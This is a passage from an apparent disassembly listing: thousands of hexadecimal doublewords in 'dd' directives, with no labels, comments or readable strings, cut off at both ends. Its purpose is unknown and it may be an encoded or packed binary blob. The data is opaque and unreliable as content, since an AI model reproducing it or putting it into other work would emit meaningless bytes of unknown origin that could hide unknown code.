51A6E9Fh, 4A8CA6B7h, 4510D985h dd 9AB4D09Ch, 0E800D2ABh, 8C9570AFh, 3D3FD5h, 0A02A60B5h dd 2ECAEAA1h, 10961D73h, 21D186E2h, 0DC852C63h, 6717F9Ah dd 2B21AA27h, 180C05BCh, 989E804Bh, 76E9F49Ch, 1D0B00BCh dd 30C969E2h, 0BF029A79h dd 3B7E68D2h, 0BD18C50Ah, 8040D6B1h, 82C2648h, 0EA824Fh dd 2BA0B860h, 501510E8h, 0B808DCh, 8D45A2E3h, 277F82B0h dd 0D418C6ECh, 891A786h, 60C21592h, 11AE2030h, 0C70177D3h dd 51826847h, 8C20FAB6h, 8470932Fh, 90A7CEBCh, 0BF9D0F20h dd 80D66900h, 9EA2F7DBh, 3DACE001h, 0A3C0EAAh, 0E9C3B0D1h dd 0B430B4B3h, 0C8950203h, 995CACBEh, 0F098A88Bh, 0A0A4A207h dd 69B19D33h, 0A90E880Ch, 9BD40006h, 0D6C7188Ch, 0FCB134B5h dd 0A8B84BC3h, 0B1683C0h, 46BDB771h, 54937C01h, 0DEAAC076h dd 0A82C32EEh, 0F580E408h, 0F7F1E6C6h, 5D2C3F3Ah, 6240AC00h dd 514F9D80h, 0A86614A2h, 1D009775h, 44B2F088h, 0B81B4E28h dd 43C4914h, 61803A12h, 40DC176Ch, 0C3667850h, 704D0800h dd 0F74BD03Eh, 29130041h, 0FCEEE87Bh, 8505C9E5h, 0DB2F6824h dd 19B0088h, 4BC0E83Dh, 327108A7h, 7F18120Ch, 841BF098h dd 9D14BE7Eh, 2F86405h, 0FC0ABFFh, 80B4C349h, 2D70172Ah dd 1019AFF5h, 2D4AED1Bh, 66C009Ch, 6DDC0B86h, 7C2EE33h dd 0D656919Dh, 62A9117Dh, 12FCE44Ch, 0D0AF4E2Ch, 44545109h dd 7D2B7008h, 64DF0223h, 7379FC99h, 0D900F465h, 5DD3C4C0h dd 0E6C50038h, 22827736h, 0E5010998h, 55EA1408h, 824FA9Dh dd 2DF70566h, 0C0129B64h, 53A6364Ah, 0BB6E3000h, 0D2EB03A4h dd 0E11C00F0h, 712514A7h, 0E0F2E8F8h, 8A0E9CF0h, 1E1FA160h dd 18F597C7h, 8BC09FE4h, 9AAC64h, 957FD89Bh, 0BF6256E5h dd 5E013400h, 0A471DC3Fh, 37783Ch, 79B4168Dh, 3921E470h dd 1841A130h, 1CD1955Eh, 80B5E22Dh, 26A59E43h, 2B01282Eh dd 0EF687808h, 5050C30Eh, 10519Ch, 648DCA24h, 6EF2FB3Eh dd 9F4558A8h, 3F5FDE03h, 0E78DA37h, 48516381h, 0A6AC3B80h dd 2D005E93h, 5C5ABE2Eh, 609CB5CCh, 7FA2915Fh, 0BB02C699h dd 66BC200Eh, 0ABA060CDh, 0F87B06D9h, 68181AF4h, 5E519B11h dd 9D0F7D22h, 0C0913E07h, 0BA06841Bh, 0B73114A0h, 57A28090h dd 638A2820h, 38B0F92h, 0C9228320h, 1081B6EAh, 0E849F234h dd 0E853DCDEh, 0BC332884h, 3F729F00h, 1FBC6255h, 7B7D8802h dd 0F9AFE88h, 0F5491135h, 558E25C0h, 0F8307AF2h, 0D99CC910h dd 62BA3BE3h, 8AC18280h, 9A3F57A8h, 0F8162400h, 0A71DC6F6h dd 30AD779Fh, 44995D03h, 80A82BA1h, 9400BA72h, 0B313A14h dd 1920860h, 6111EEE7h, 80FF7A59h, 0A912F229h, 357794h dd 0B920B14Ch, 45D3A6E3h, 687C192Ah, 69639C30h, 2C6188h dd 9A09EA7Dh, 0EF84BF1Dh, 0A0159F04h, 3C918FD8h, 3180629Ch dd 4D57CC27h, 0B013EEEh, 2A255461h, 0F0E0C0E4h, 86560776h dd 40E547ECh, 6944C512h, 0B23ABE01h, 0B4A7649Ah, 0EF9DD0h dd 5A59FD99h, 2DC9A270h, 4819D160h, 0B3BAF0h, 0D0884C82h dd 31A754ADh, 0F1F79400h, 7C536689h, 4CBD0C38h, 9D583645h dd 809B1E0Eh, 0E7111846h, 0ED260724h, 90DBEE77h, 0DC916E92h dd 0E32E6407h, 7D9089E0h, 0B4D3884h, 0B1EFB945h, 9C83190Fh dd 62C8050Bh, 2F0086C5h, 0F6984E14h, 7749DB39h, 6CA10071h dd 63D1D807h, 0B9C66F89h, 497E4Ch, 68C842D0h, 38E2CE13h dd 0C4E33200h, 0ABBC8E85h, 28330C70h, 0DE39ED2Dh, 154F901Eh dd 0AECFAF40h, 0C7696D4h, 7D7F7E63h, 4415FEE8h, 0C194FC30h dd 3BF31166h, 0CAF37FCDh, 61D680A3h, 14747797h, 0BCA9D030h dd 0BC4070C8h, 1144402h, 0DACA481Bh, 40D2CCC9h, 0E37F2814h dd 0C8BCF7h, 0AF480D80h, 831960h, 1488A39Eh, 0D0EA44C1h dd 94E790C0h, 12AFB78h, 0D8958689h, 0C9FD4765h, 397180C6h dd 3D4137E7h, 1DE90379h, 9CE292E1h, 50747AE1h, 62F71274h dd 3B79DCh, 0B639457Ch, 0FEC1F027h, 326D00BCh, 602611F1h dd 6C0565CEh, 294BDB4Ch, 302FBC40h, 4D8931h, 1660CF98h dd 0B31CA334h, 33D88403h, 91EF1474h, 2423F256h, 37FD1200h dd 98A002F3h, 4CA22302h, 2B34BF8h, 104450F0h, 0A16CDD33h dd 322A811h, 0CFC900C7h, 0C0823012h, 8958E75Ch, 5886303Bh dd 1F0A3661h, 77F7AA9h, 0C1812978h, 0BA65DEA4h, 0ED2C0049h dd 636A3BFCh, 0B2980050h, 31F2CB36h, 1F140FA9h, 0A494A77Fh dd 444D6032h, 112C003Ch, 0E625CD75h, 220299A2h, 5314E8Bh dd 0FE084077h, 7D79C960h, 9C2DAF00h, 0B50056C3h, 4859DA98h dd 24D1BDACh, 8708C9E2h, 0F0DDEFFFh, 14FBB13h, 0BDD6AB00h dd 588D7E0Dh, 0F2DE02A1h, 8F83FD7h, 0CA8FBC48h, 69B3CC33h dd 9D9F01Eh, 14AB123Ch, 0A2C21DEh, 3BCA2049h, 26578205h dd 4AC0ABD9h, 616A01E5h, 0CCB34884h, 0DBDC4131h, 7759205Dh dd 35049675h, 0D02D98F8h, 63833097h, 0A0DD937Bh, 0EBD2FE1h dd 0CA5CFFC0h, 4FF0B320h, 78C09E81h, 31EB1E64h, 187E7223h dd 0C18D5169h, 0F0883B33h, 31756432h, 1238D8AEh, 73640F0Ch dd 5B779CDh, 0D5D874F6h, 4197C655h, 0FE67A907h, 4700CADh dd 7D756F5Ch, 0C64F3BD6h, 2307FA4h, 4289E187h, 0E3CB1448h dd 768CB854h, 43033E3h, 0CB329557h, 7E992640h, 4E000DA9h dd 5456E4E3h, 0DCB82E3Fh, 0AF9F0F21h, 89B20053h, 0B7F6C9D5h dd 0B24059DCh, 6002107Eh, 0E1766032h, 0B8875F80h, 30772724h dd 1C40CB65h, 0D3588B75h, 0D8082C47h, 0B838006Bh, 1A50C23Ch dd 0DA8D9807h, 32413554h, 0E022DDBFh, 3C4F3000h, 0F5085AE1h dd 0F935B300h, 0ED2CB77h, 47133D26h, 266C98F3h, 0A441AF0h dd 42BC49F3h, 98467EADh, 0E12040FAh, 329D29FEh, 827400FCh dd 70788DD5h, 39BB5900h, 12BC986Ch, 4C04B0CBh, 7A8B0C32h dd 0E1219987h, 0BE6CF386h, 0C1550041h, 0D5229FFEh, 2C7F642h dd 8469EB79h, 98668665h, 0F306C093h, 16419758h, 6135F23Fh dd 0E0DA9540h, 302C76F6h, 36003DE5h, 2F7E7723h, 4ECC0C9Dh dd 2450148Fh, 4249C09Ah, 2E55857Ch, 4ACE7000h, 0E4219h dd 0FCBAA604h, 0A96723C7h, 0DBBF3B00h, 1DA3A5A4h, 6D012ACBh dd 0A4630BCh, 0A4667391h, 1A4EBC5Ch, 11A0A3CDh, 241AB870h dd 0F8481050h, 18F43315h, 0E331D92Dh, 0B7100B6h, 89E5D206h dd 87491ABEh, 3FFFE064h, 1B99C128h, 0D86BC235h, 0C60F84B0h dd 669325E3h, 61C72Dh, 0E53DAF8Ch, 0BEA599DDh, 13614900h dd 33F6E479h, 0EEA00AA4h, 0C0D8BC70h, 0E05AD87Eh, 61821C00h dd 1FC83BBDh, 106CA4AAh, 2CB9634Fh, 0C04E8CDDh, 373662C7h dd 20A05C98h, 0AE800B22h, 7B07580Ah, 0D0EA28Ah, 2DEA9C30h dd 0D5271FDDh, 345F8492h, 5B20C1D3h, 981E1136h, 322C6436h dd 284784h, 0A0AD02F9h, 23BE3800h, 988853BCh, 9ECF578h dd 54530AEh, 0F5B9F349h, 4B061A03h, 0B9A9B0A0h, 98725A30h dd 7FF0DA07h, 7A2E222Bh, 610068CEh, 0D9B944F8h, 2151F19h dd 13305F72h, 0D0A771F7h, 2642F0B3h, 67007494h, 5248FD46h dd 90913C7h, 2E568803h, 17E83C90h, 8429ED3Eh, 1A767A72h dd 4D181880h, 2DCA185Fh, 4B452964h, 2B7E8D1Eh, 0E4522700h dd 543AC4h, 0FD523B2h, 7883DB45h, 0F39C709Bh, 7B09BE2h dd 0A007A4D5h, 7C80BE0Dh, 0DEB0BF00h, 8BB27DFBh, 67C902BCh dd 0EEF22813h, 7BD50C68h, 8A73F405h, 98985542h, 0FC50E74Dh dd 4836F93Eh, 17168685h, 86CE0956h, 330E70B0h, 7391CE60h dd 4CDB80C5h, 280BFCDFh, 0AC837B97h, 51076032h, 0C19ECD52h dd 0B428F5C0h, 24BB7A2Ah, 80A08232h, 1C9BA80Eh, 6F073937h dd 89E64163h, 98801BF4h dd 145AF12h, 0B880627Ch, 7655C4F8h, 0FFB0414h, 8C85876h dd 45A000C7h, 5FDE13D5h, 5AF628BFh, 0F88B410Ah, 0C1839C68h dd 0E0EA5543h, 0AFB84h, 0C5522B95h, 6977477Dh, 1FC3E21Dh dd 85DA2D49h, 5C884672h, 0BADC0140h, 0C6F8E2A8h, 5C9067ECh dd 505780B4h, 4CAF2A01h, 8C3E2464h, 1CB1CA44h, 0E3477686h dd 1FAB0E19h, 320568Fh, 571B8945h, 0AE82909h, 80B7218Dh dd 0AC30A809h, 2BA8901Dh, 80847EAEh, 0E7BDB51Fh, 88B88C68h dd 10B0C101h, 31F396C3h, 0C07C8072h, 0A84B2B28h, 8D0433D5h dd 98150CB2h, 54399C8Ch, 0A0476051h, 1312F46Ch, 134846E0h dd 0D3F40804h, 7E0F1180h, 0A056FB08h, 811AD6E0h, 7CF4484Dh dd 0CDB73F00h, 0BE6753ECh, 73CF268Ch, 98986BB0h, 172ACDC3h dd 0D6989478h, 0F5CA3480h, 0C519B663h, 292BF1D2h, 0A7844C62h dd 0FECA44FDh, 0A04624A4h, 1E0EA164h, 0A93222D6h, 0E091174h dd 401014CFh, 7890CAF1h, 0C8E0066h, 2F4CB41Dh, 88963929h dd 2FC36245h, 6354DA24h, 0BF9CA8CFh, 0AC5F0234h, 0A8A588CDh dd 393F8460h, 0C066DD80h, 0F480F891h, 9330080Eh, 0F6C89E8Ch dd 4DF22438h, 4C06090h, 700072BEh, 0E8EC430h, 0F211EEC3h dd 8308B1FAh, 0CD100B7Fh, 1DEDD3C0h, 7A29701Dh, 0FEE0D400h dd 7E603Ch, 7B077812h, 2ACCD876h, 6111C0C0h, 1E2F71Eh dd 7F2863B2h, 0E33AC17Bh, 4C8F5816h, 73E3E420h, 7C217BFFh dd 58AE58DEh, 441C8870h, 9C002CE4h, 8750E897h, 8B6BC5h dd 56727A5Ch, 992FB6D6h, 3885BA00h, 0C67EB534h, 208F4EEEh dd 0E6B6FD08h, 3879297Ah, 25183A05h, 4EE61C7h, 803FBA44h dd 1FF61274h, 6E721312h, 177F6042h, 56B86879h, 5FC9A81h dd 0CDC0D66h, 3CD080D9h, 0BF7C6FCAh, 0F781358h, 4B650246h dd 9488036h, 54AEE1ABh, 702D7CC0h, 95902AB4h, 32D24088h dd 0F402D891h, 0C0610CABh, 2A581Ah, 88429062h, 135EE221h dd 39F0CC65h, 0E8343483h, 5C7E56AFh, 6526E023h, 0ED3F05ECh dd 0DAD8C9F3h, 0CA35EB20h, 12B002FFh, 57BF5345h, 9684A840h dd 9E387B00h, 0C0431E10h, 0FAB90139h, 4434282Ch, 0D560812Dh dd 4894016Bh, 157784D0h, 6C930DAAh, 2FA5420Ah, 0ADB20FAFh dd 0FD843D7Fh, 90CB3539h, 0B8016DFCh, 3CC0A58h, 0D5688976h dd 0DDB00866h, 0B609EF77h, 8DE6804Dh, 6B0B0Ah, 0CC12F6E5h dd 0A384751Ch, 0CE4CC948h, 71405DBAh, 5519BCDFh, 75BB0091h dd 0A4A6F947h, 7E0141D1h, 0B16CE9C4h, 0E020EE39h, 40A80A02h dd 97945C61h, 571C3050h, 0C12E5F39h, 33806864h, 4BF549D5h dd 80509E2Ah, 8D8A1D9Ch, 301C6706h, 0CE809A73h, 0FBD1E9A7h dd 237D1DF3h, 6E2AC08Fh, 0EAA063C6h, 0CFBC0503h, 0C4FA1BD9h dd 9A27FC0h, 398F7E31h, 3D00D115h, 0F3144DC4h, 4C005D82h dd 776E02ADh, 3F7D4B4h, 6109888Ch, 0BBA856CEh, 590003B6h dd 1D110CA0h, 7F7D0EB9h, 3D1574A6h, 233B410Fh, 0FA93C380h dd 22C47897h, 34F70306h, 0F8700F7Bh, 94E8BBh, 6FF9D9A1h dd 8BD4C391h, 0C6218561h, 5181B3C8h, 0B89EB731h, 0D2C7FB09h dd 43C051C9h, 20C00889h, 777FCDD1h, 6A8F01B2h, 2AF3CD5h dd 0C3F64470h, 49139A9Ah, 6E1BB59Dh, 324EC060h, 547F0205h dd 55A09CA6h, 5101A0E3h, 0B4385CCEh, 7BFCE709h, 0BB44005Eh dd 6F19C16h, 0A400955Fh, 0EA0F4EC7h, 0C1E986Dh, 188FFF6h dd 0B571A741h, 3745CA1Eh, 93F76B40h, 0C196279h, 0E492B4BBh dd 0F3070B29h, 88DD4605h, 0D26842A1h, 0E0636ECh, 0B7772AC0h dd 0BA442900h, 0FC006186h, 7A212BD8h, 0E1C41DE5h, 799092ECh dd 0B27900A1h, 354296BEh, 0D000E0C6h, 22C17F0Fh, 548FFE53h dd 48ACAC91h, 9C1EE8B0h, 7D6E8069h, 3B176693h, 0A1A8CA00h dd 0AC1AB55Ah, 45150A18h, 61A0C7DCh, 80838F79h, 0A4C68E49h dd 0FC0BD896h, 584D1F14h, 0A81600D5h, 5F7F2BCh, 83A5C700h dd 0CCF5F4E3h, 891400D7h, 0FC9E7C2Dh, 861F0138h, 4000E73Dh dd 929A716Ah, 0A83FF8F0h, 3E36D0h, 59B89102h, 0E38CB083h dd 5882DF00h, 8BB10134h, 16AC011Bh, 7A17CEBDh, 68BFF3h dd 85D6DE2Bh, 18AB9E11h, 0C1CFA709h, 9A00C9AAh, 0C5AD48ECh dd 128B991h, 0CF08853Ah, 0BA269E06h, 220AFA29h, 4CFA4C1Dh dd 84AEC60Ah, 0A4B5A240h, 505B008Fh, 0BF7B99DBh, 0FA00CEE1h dd 0C0303C6Fh, 0FE44836Dh, 8EF4A80Bh, 0A69CA87Eh, 902FFE6Ch dd 0B13901DFh, 72B35705h, 0C6C424ABh, 0AD34DC54h, 9DB6741Fh dd 9E2E3886h, 0BAC94818h, 0D4BFA01h, 8A23E790h, 9C5B3818h dd 86E2F480h, 0BEA6ECh, 455F28D6h, 910B2EAh, 68CD8F30h dd 6C4996Eh, 0A3EFAEFDh, 0D07C719Dh, 0B003B1DEh, 3C185145h dd 6F06C311h, 41D43416h, 32D9C900h, 0FF380521h, 7F1107AEh dd 0B0CC8575h, 0A7B09665h, 259CB60h, 63B425h, 0E406666Ah dd 8AEB9F04h, 0EC8ED20Ch, 1767010h, 0D45873C5h, 0E80CC901h dd 0A500345Bh, 833385A2h, 74C8F538h, 0E94861F3h, 0F83B295Ah dd 0FE0052E7h, 3DD22761h, 0C3C1109Fh, 174C4420h, 0F700C17Ch dd 352EA845h, 1BFFB70h, 38360A9Ah, 80B44FFAh, 7A9034A9h dd 3051C1CCh, 6808C709h, 1C989E92h, 943244h, 0A2740FEDh dd 0D31CFD0Eh, 45617F07h, 0B1C32A67h, 0C61DB055h, 90984C68h dd 7DDC2F2Ah, 2248A044h, 7EA50405h, 8223650Bh, 912084D0h dd 4F03B93h, 884EDEC1h, 6C04BFB0h, 44849071h, 51246800h dd 0E619A5F5h, 19F1679Ah, 1839D298h, 0FDC15C40h, 25030D18h dd 581B9581h, 724CF15Dh, 0F7271E09h, 4C6FDC80h, 8D00FA3Bh dd 1D083E50h, 1322C3FEh, 3233F704h, 7902BCD8h, 0DC0409D8h dd 0A4208182h, 8E86109Ah, 0FE391C92h, 4058E4EBh, 4E91F2CCh dd 6BDE1C03h, 0E072EEAFh, 58F9BBCDh, 778CD8h, 0B024715Bh dd 0CF6FD0D9h, 9A7BA701h, 9E180E13h, 0A64818EBh, 75386923h dd 0D6F5F90Eh, 0C5DB40C7h, 1EA242h, 74523145h, 5F07C289h dd 0A9716602h, 823A1AD9h, 46C5C664h, 11A400B0h, 0EB2CF272h dd 7148B8CDh, 3028306Ch, 0C42B698Eh, 90CB8F19h, 7CA3F754h dd 2C26240Fh, 0FA09E0A4h, 29A9B377h, 4FC8BE6Ah, 0FEBC2153h dd 19D9F439h, 1EF4A101h, 0EC7955A6h, 6088EBF4h, 0EA031EEh dd 8F023B83h, 2FE61146h, 79A446BCh, 9AF852h, 283D36FAh dd 14392C2Eh, 0EE004C92h, 78F62537h, 0FC5DC505h, 27660073h dd 0E3B3EDEh, 0BC130CF4h, 8820A904h, 0F51124h, 0ACB05933h dd 3120225Ch, 0B6B44C0Fh, 0DB809F7Fh, 0CD279FBh, 14B04DFEh dd 22936F1Ch, 62012A00h, 0A263467Fh, 0C67051h, 0DECF7042h dd 0D965E35h, 0C9C4F06h, 0A9156Ch, 0D0600B6Eh, 1053DC6Dh dd 68FC9DA0h, 80165Ch, 0A018CBF2h, 638491h, 0B58F764Fh dd 0FAD42A92h, 11050D18h, 5CC87249h, 5824766Eh, 6B98408Ch dd 28B01D24h, 9C32C124h, 9937504h, 0B3A4F143h, 0B2C68180h dd 9684D454h, 8600C0A4h, 0A25C8927h, 29568FFh, 16701809h dd 0B4848775h, 327C806Eh, 0A009023Ch, 20EF8FFFh, 0B90D280Ch dd 0C17564h, 6B1A0720h, 0F7D083A9h, 8601D63Ch, 988EE873h dd 34FC0031h, 570C751Eh, 0CA00C9BDh, 307B40AFh, 29F3D5C4h dd 0FCCDC6h, 0D0AA9731h, 0CF00A87Ah, 29B762FFh, 1A3D8355h dd 29CCA718h, 2B3CF40h, 9BA1C300h, 3DD0CAEh, 13933071h dd 97CB26E1h, 0B31F9C74h, 7F92D4B7h, 8A275040h, 183A47FBh dd 31044C3Eh, 4654030Ch dd 34A0A6B8h, 0CF003F1Fh, 55DBE38Dh, 70D270FEh, 26640018h dd 2802184h, 790F8F12h, 8086CF54h, 90F53A97h, 0C74D00AAh dd 9E7AC0E2h, 807174Bh, 0CD401E70h, 0E563D9F0h, 0B6C20037h dd 8CD58DA6h, 8CB11099h, 0D01B9711h, 2FE0A195h, 19C09B82h dd 4509439Eh, 60F25018h, 80247C05h, 0E603344h, 0AECB3C19h dd 96F0B140h, 3310009Dh, 0B6BD5557h, 0E2B85177h, 0F87A4B01h dd 0CC9C8E97h, 1850A1F0h, 819070B3h, 0CF15F268h, 4CC8F672h dd 344A2834h, 0B403B67Ch, 48DB1417h, 0B203C1B8h, 650CC062h dd 0EE1A78Fh, 853BCA0Ah, 0FE00897Eh, 9819371Ch, 33243739h dd 51C2D1A8h, 0A51E8035h, 5FF86F9Fh, 0D6AD0029h, 0FBD9CB3Dh dd 39545197h, 0F73244D8h, 528E890Ch, 39A61EACh, 45BA804Fh dd 91D0A854h, 18F1AA13h, 7F8C5002h, 1E3C44A6h, 3AAD1427h dd 0F6634880h, 0B1FC56DCh, 0C391C0C2h, 0BC4445h, 0FDBD3F16h dd 78861114h, 7EC9C48h, 0FFE07C98h, 8CCA9EC4h, 0C1F4A9C5h dd 0E03497ACh, 934A7095h, 329EC843h, 0C149B823h, 0B3DD00EFh dd 81B29A42h, 31041D50h, 555E0BF7h, 0A772B520h, 0F1C980E7h dd 89D4EF60h, 6A5012Bh, 277471FEh, 60D471C2h, 0F4428AC0h dd 580CAE26h, 77004631h, 0DB7BC56Eh, 3F87BCC1h, 0B6B44217h dd 12F4C270h, 1E6FBCA1h, 660AC45Bh, 10A4B74Dh, 0E853FABFh dd 0DE7C4705h, 0A5ACC003h, 0CB5971E1h, 68388954h, 78A6954h dd 11F07CA9h, 5F0A73ECh, 6B9640B4h, 3566455h, 974B1008h dd 11004E43h, 0F38E99B7h, 2E3D82E1h, 68D173h, 9D88C72Ah dd 628A393Ah, 7F280974h, 81F9EC05h, 10B49AECh, 2C56B731h dd 620C9B19h, 68837A11h, 0A1FC0D86h, 59800044h, 586018DDh dd 0D98FF638h, 98AA1D68h, 4044A435h, 0C14C38D3h, 0F476CE00h dd 416F6ABCh, 0A7170F2h, 50FA3736h, 210C2640h, 7FE178Ch dd 7F72D97Ch, 0C734811Dh, 404496AEh, 0F08EB868h, 0D9F2F2A0h dd 4F0686ECh, 98679133h, 5A0B051h, 0F05AA440h, 0E85C1865h dd 0DA003E70h, 2D03BD80h, 0D0CFBB6Dh, 922F020h, 0A1E4419h dd 0C728E49h, 68976100h, 0CF8D79BBh, 0A2F6E00h, 0CB72984Ah dd 0DC810964h, 38030D26h, 7100B2A6h, 16BD4775h, 0EEF148h dd 0C4E8C961h, 0F9CC93C7h, 1FEA2E07h, 0A580094Fh, 71ABFCEh dd 8AEE833Bh, 9F1CA3E1h, 8769A0C7h, 0C33F4202h, 1BDA815Bh dd 0BE1991D5h, 39A1CCh, 33A6A273h, 44035A09h, 0EE500663h dd 87C1Fh, 0CDF57D0Fh, 0AAEB30C8h, 0E4A13900h, 0E6133F4Eh dd 2B355CB7h, 31082D18h, 0AF00EA30h, 5D6B1DCFh, 32579C26h dd 0BFA93627h, 392551E0h, 132A11C0h, 21AC25Ch, 0BD0A801Eh dd 4CC04CB2h, 0B93F01CFh, 1B1F80D0h, 0FE12DE9Ah, 0C092E02Dh dd 94490968h, 9B074A7Bh, 0D4B4BC32h, 91D94E80h, 61AD639Ch dd 0A8004533h, 733C39B3h, 702FFB6h, 5BF12CB7h, 0F7678314h dd 131810DEh, 5329B03Eh, 0E7E30D87h, 0DC490AC8h, 5E70B123h dd 0EDD1CB00h, 3447FC3Eh, 0E8F70020h, 0FA70F867h, 31C0A140h dd 0AA47ED09h, 0FE580012h, 0CCF0BA27h, 0EA0A18ABh, 6473463Eh dd 16C51400h, 6D6172h, 849448B7h, 1E91077h, 0F703F273h dd 14362DFDh, 93300A97h, 40B8B39Ch, 30EFE969h, 0CC614600h dd 38098750h, 0F3D303D4h, 5D21FB27h, 7BAB23D8h, 0D854461Fh dd 9979CC42h, 0EA408794h, 884ED210h, 516A7936h, 0CE830822h dd 32B69DF3h, 0F536710Ah, 0CC084484h, 7BD98006h, 897083C9h dd 0DB9459C7h, 466168A0h, 122D0736h, 2030F355h, 7D94538h dd 0F37EB09h, 683F80CCh, 1A53914Eh, 61A8BB36h, 0B5AA4260h dd 1F44D0Fh, 0E8B4003Ch, 752BC9C7h, 69F0F5F1h, 0DBE601F9h dd 0C20259E0h, 0D884432Fh, 1B0B58D8h, 8FE7A200h, 81F6ED36h dd 5100775h, 0CC5F8Eh, 0D92EBDCEh, 0F7DBD739h, 660ADD74h dd 6CA89DF4h, 72CA8700h, 0AE9689Eh, 5865AA6Fh, 0A0D784C8h dd 211E0730h, 8F1E3848h, 0C0E59F86h, 0F3A69129h, 45010C9Bh dd 0D88019AEh, 0D1E45476h, 0E8A5F839h, 0B5FF0079h, 0AF22302Fh dd 5D0445BFh, 0E1C25E5h, 6002CC88h, 5FDB6136h, 24482BDDh dd 81216FE0h, 29CB48B2h, 2FA0B080h, 0F2697CE1h, 8857BC00h dd 934BB6Bh, 0E427002Bh, 0FF32536Fh, 220F9B89h, 80FC7578h dd 0AC8A8EF4h, 4C0904F3h, 8269D850h, 40212BDCh, 0EC503E1Dh dd 28747F3h, 774D3B7Ah, 64C0269Bh, 0A20030CCh, 11C989FEh dd 3B7EAB34h, 0F107E1DEh, 2CFF5F37h, 5000741h, 0C86C4431h dd 0B8E6BBA4h, 0D43A003Bh, 0ECBC1EB8h, 271DD6E7h, 83C0E909h dd 0E8B6903Eh, 3AAC3E7Fh, 0FCEF1880h, 0B4310EBDh, 4CC5490Fh dd 2009E737h, 0CBC2DD20h, 0C16B0D33h, 0E0C1CE9Dh, 4505856Ch dd 827249A2h, 0AC129C40h, 30C37AA6h, 292939C8h, 0EC008F28h dd 0DB195BAAh, 0C6CB74h, 362261D5h, 47F61216h, 0ACADCC00h dd 0D19D0B80h, 0D851C090h, 4F4A3C65h, 0E75BE50Fh, 8230008Dh dd 9A4BE8h, 0A1D18395h, 37F63463h, 7326EA01h, 0F0DE13E6h dd 5C2CFCh, 7FFF07B4h, 0EF1968C0h, 8777333Bh, 0C176360Ah dd 0A44555D3h, 0B3E0FCCDh, 4B4200EEh, 2DB7A98Eh, 0BA00D635h dd 3AD1060Fh, 706314E3h, 0E4075402h, 7042A1h, 0F1B0FB1Eh dd 98E5650Dh, 26150018h, 37DFEA6Fh, 70927AD8h, 36514506h dd 0E0E99EBCh, 9C6928EDh, 8BBB007Ch, 0F04A44A8h, 9107A6BCh dd 59614FFh, 0C5832A50h, 0C14826D8h, 3E630048h, 0E90F3407h dd 1520D0A1h, 911A380Eh, 68F84Ah, 3A32AE5h, 7B465322h dd 2E420058h, 0C80D2DA0h, 88F0CBFDh, 7FCE9201h, 4C1E6506h dd 818041BDh, 0B195982Ch, 0A3EE0AECh, 7991CB04h, 0BCCC587Ah dd 6CDF00CCh, 13573695h, 11C0CD3Dh, 3ECB6871h, 310F7D54h dd 40592D01h, 4CB1BC9Fh, 44AA3E14h, 0F3BB1E45h, 835C87BAh dd 0E08003BFh, 1E6B2809h, 0CB4CA354h, 2D31012Bh, 89F0FDE8h dd 8B26F471h, 0A22EDD00h, 0F728F6E2h, 22C8B09Ah, 35440946h dd 32AC00B4h, 685CD71h, 7504D4E9h, 0D82BF769h, 80300CC9h dd 0E6F38B21h, 3A884AD8h, 7AB353Ch, 3629DCC9h, 0E4C896C4h dd 28B3ADh, 6F57EB8h, 8804762Ah, 0D9318B9Eh, 50C04A84h dd 73B1FCE4h, 5EB500FDh, 0E999A3BFh, 0F924B604h, 6340A4EEh dd 0F16FF6h, 99DA95B5h, 0A371BD6Bh, 18E1F200h, 74CA4829h dd 569E2A40h, 7E9C30A8h, 26BA5E91h, 7B03411Dh, 4EED524Fh dd 0ABAEC1D7h, 40DAB565h, 0A41FF4BCh, 0BCC900CCh, 0FE3B7295h dd 0E1012628h, 0BBE8DC0h, 5C21556Ah, 0B49CE08Bh, 0DF365010h dd 1E71F864h, 0EA888h, 1D479A90h, 0DE3D8A76h, 5918C0Eh dd 0F14AE004h, 3ED3997Ch, 2450AA9Bh, 458144DDh, 0E1B24B00h dd 1E0FF927h, 6785096Ah, 0E0902557h, 1A00F8BEh, 317F5F51h dd 18BD4F01h, 2134CB08h, 4C0349B6h, 144E5E83h, 0DDC5E018h dd 18B46053h, 0F174B5C7h, 0FF5E9C0Ah, 0B6809C62h, 0F0D2BA04h dd 0CCAD0096h, 4399638Eh, 0B70CA734h, 0A180C6D7h, 0B2D501A6h dd 0DAB6EA4Fh, 7FBC4857h, 0C18288h, 18A3B592h, 0FB6B60B2h dd 6CDCE824h, 88B64061h, 0C65C39BAh, 4725h, 0B00C6169h dd 567203BDh, 7070E546h, 0A44089DBh, 37FE3098h, 54178B20h dd 4AE02D0Fh, 0C921A01Bh, 0E6A30650h, 2FE72B2h, 0BD906953h dd 5CE01205h, 0F72E0ACEh, 3D82786Dh, 4654A973h, 365E0008h dd 0E6E49247h, 0AA7AE028h, 0A8FE0430h, 91CBC6E3h, 3AE50354h dd 0F5D8DBE8h, 24007CE0h dd 57CDBABCh, 58B19AFBh, 4F218468h, 8D91B508h, 0F0C9255Ah dd 3D0DE6F6h, 590CC09Ch, 0D06405C1h, 0DEAA00F5h, 6B9F1260h dd 73005A43h, 7430E262h, 0BB86CB4h, 5BFDAAA9h, 80BE2CA1h dd 23371233h, 9A906283h, 4318D9C3h, 0C908EDD6h, 0F491CBh dd 99EA3878h, 3C00041Bh, 0FA96544Bh, 168CC4BEh, 613767h dd 0CD023F28h, 148B6E0h, 0E9F700A3h, 6B7BDD74h, 154A06F1h dd 819A9BE3h, 390F7E01h, 0A4A1087Ah, 2D479E8h, 0FF1DEC1Fh dd 1480D169h, 2C706F9Eh, 5F9CF601h, 395264E0h, 11BF0C7h dd 6CA7404Ch, 0FD12CCF6h, 7832C3F4h, 3C86415h, 0A317E312h dd 6EA082F0h, 0CD14FE62h, 8088D288h, 0F9DC528h, 9A29CEFBh dd 0FEB00492h, 10EE4B25h, 108628h, 0FF0E1182h, 5A39B80Dh dd 29291C30h, 7FE977CCh, 48A698D7h, 53801C28h, 0BEADA489h dd 13E36800h, 835B35FAh, 750302DBh, 8A33B79Ch, 0B95D0C0Eh dd 6FE31C6Bh, 0C7A74CB2h, 0EF25278Eh, 0A0B0049Dh, 0C0ACB886h dd 6C8D0899h, 2C60B541h, 0F09DF341h, 0C4D1485Fh, 8A62AB80h dd 0C0087C8h, 446A5382h, 4A2EF437h, 0D5F40099h, 506CC8C0h dd 49D35AE0h, 66266900h, 1CFC44B4h, 4021A886h, 57B99630h dd 716E002h, 1003BF10h, 7878AAAh, 0F0CE6C48h, 994B6264h dd 82B3B4E0h, 0C9677600h, 0D2CA36C6h, 392973FBh, 0A3007FF1h dd 0D9BC1908h, 8B0668Fh, 